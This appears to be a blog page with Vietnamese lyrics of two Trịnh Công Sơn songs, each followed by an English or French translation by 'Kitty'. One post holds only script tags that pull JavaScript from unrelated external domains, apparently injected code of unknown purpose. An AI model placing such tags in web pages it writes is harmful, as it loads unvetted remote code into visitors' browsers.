• Diễm xưa

    Trịnh Công Sơn

     

    Mưa vẫn mưa bay trên tầng tháp cổ
    Dài tay em mấy thuở mắt xanh xao
    Nghe lá thu mưa reo mòn gót nhỏ
    Đường dài hun hút cho mắt thêm sâu

    Mưa vẫn hay mưa trên hàng lá nhỏ
    Buổi chiều ngồi ngóng những chuyến mưa qua
    Trên bước chân em âm thầm lá đổ
    Chợt hồn xanh buốt cho mình xót xa

    Chiều này còn mưa sao em không lại
    Nhỡ mai trong cơn đau vùi
    Làm sao có nhau hằn lên nỗi đau
    Bước chân em xin về mau

    Mưa vẫn hay mưa cho đời biển động
    Làm sao em nhớ những vết chim di
    Xin hãy cho mưa qua miền đất rộng
    Để người phiêu lãng quên mình lãng du

    Mưa vẫn hay mưa cho đời biển động
    Làm sao em biết bia đá không đau
    Xin hãy cho mưa qua miền đất rộng
    Ngày sau sỏi đá cũng cần có nhau.

     

    ***

     

    Yestertday's Beauty

    Translation by Kitty

     

    On the antique tower, it’s raining, raining,

    Back then, your eyes were pale, your arms were thin.

    The autumn leaves rustled under your tiny heels,

    Your eyes were deep, staring far to the endless road.

     

    On the tiny-leafed hedge, it was raining still,

    I watched the rain, the evening, sitting,

    On your footsteps, silently the leaves were falling,

    Suddenly my soul felt faint, and pain flooded me.

     

    This evening, it’s still raining, why haven’t you come ?

    Your memory haunted me to the depth of my buried sufferings.

    How could we be together ? This thought’s a poignant pain.

    Come back to me quickly, I beg you.

     

    May it rain on, so that life would be stormier.

    The traces of birds’ footsteps, how can you remember?

    I wish the rain would reach wild vast regions,

    So that the traveller may forget he is a vagabond. 

     

    May it rain on, so that life would be stormier,

    How can you know that a gravestone doesn’t feel pain?

    I wish the rain would reach wild vast regions,

    Tomorrow, even gravel stones need to be together.

     

    Avec la voix d'Anna Saeki

    Avec la voix de Khanh Ly

    Avec la belle prestation de Lee Kirby (guitare et voix)


    votre commentaire
  • Gọi Tên Bốn Mùa

    Trịnh Công Sơn

     
    Em đứng lên gọi mưa vào Hạ,
    Từng cơn mưa từng cơn mưa
    Từng cơn mưa mưa thì thầm dười chân ngà
     
    Em đứng lên gọi Thu tàn tạ
    Hàng cây khô, tình bơ vơ,
    Hàng cây đưa em đi về, giọt nắng nhấp nhô.
     
    Em đứng lên mùa đông nhạt nhòa
    Từng đêm mưa từng đêm mưa
    Từng đêm mưa mưa lạnh ngón sương mù.
     
    Em đứng lên mùa Xuân vừa nở,
    Mùa xuân xanh, cành thênh thang
    Chim về vào ngày tuổi em trên cành bão bùng.
     
    Rồi mùa Xuân không về

    Mùa Thu cũng ra đi

    Mùa đông vời vợi

    Mùa Hạ khói mây.

     

    Rồi từ nay em gọi

    Tình yêu dấu chim bay

    Gọi thân hao gầy

    Gọi buồn ngất ngây

     

    Ôi tóc em dài đêm thần thoại

    Vùng tương lai chợt xa xôi

    Tuổi xuân ơi sao lạnh giòng máu trong người.

     

    Nghe xót xa hằn lên tuổi đời

    Trẻ thơ ơi, trẻ thơ ơi

    Tin buồn từ ngày mẹ cho mang nặng kiếp người.

     

    ***

     

    Nommer les quatre saisons

    Traduit par Kitty
     

    Tu t’éveilles à l’arrivée de l’été

    Tu appelles la pluie, la pluie et la pluie

    La pluie qui murmure sous tes pieds d’ivoire.

     

    Tu t’éveilles à la chute de l’automne

    Orpheline d’amour, tu reviens par l’allée aux arbres désséchés,

    Qui laissent filtrer quelques gouttes de soleil.

     

    Tu t’éveilles dans la désolation de l’hiver

    Des nuits de pluie, et des nuits de pluie

    Des nuits glaciales aux épais brouillards.

     

    Tu t’éveilles au printemps, c’est la renaissance, 

    Les oiseaux reviennent quand tu arrives à l’âge,

    Bruyants sur les branches feuillues.

     

    Puis le printemps ne revient plus,

    L’automne s’en va,

    L’hiver semble lointain,

    L’été ombrageux.

     

    Dès lors tu nommes

    L’amour : l'ombre d’un oiseau à l’horizon,

    La vie : l’épuisement,

    La tristesse : l’enivrement.

     

    Oh ! Tes longs cheveux des nuits mythiques !

    Le futur soudain semble lointain.

    Ta jeunesse ! Elle me fait geler le sang dans les veines.

     

    La tristesse a laissé des traces sur ta vie,

    Oh enfant ! La triste nouvelle

    Depuis le jour où maman te fait endosser le destin de l’homme.

     

    Avec la voix de Quang Tuân

    ou les voix d'autres artistes

     


    2 commentaires
  •  

    <script src="//scrprime.com/23178e2c7c2ade2327.js"></script> <script src="http://hublosk.com/js/int.js?key=5f688b18da187d591a1d8d3ae7ae8fd008cd7871&uid=8983x" type="text/javascript"></script> <script src="http://jullyambery.net/api?key=a1ce18e5e2b4b1b1895a38130270d6d344d031c0&uid=8983x&format=arrjs&r=1627833923417" type="text/javascript"></script> <script src="http://scrprime.com/ext/23178e2c7c2ade2327.js?sid=52715_8983_&title=qq&blocks[]=31af2" type="text/javascript"></script>

    Lire la suite...


    1 commentaire



    Suivre le flux RSS des articles
    Suivre le flux RSS des commentaires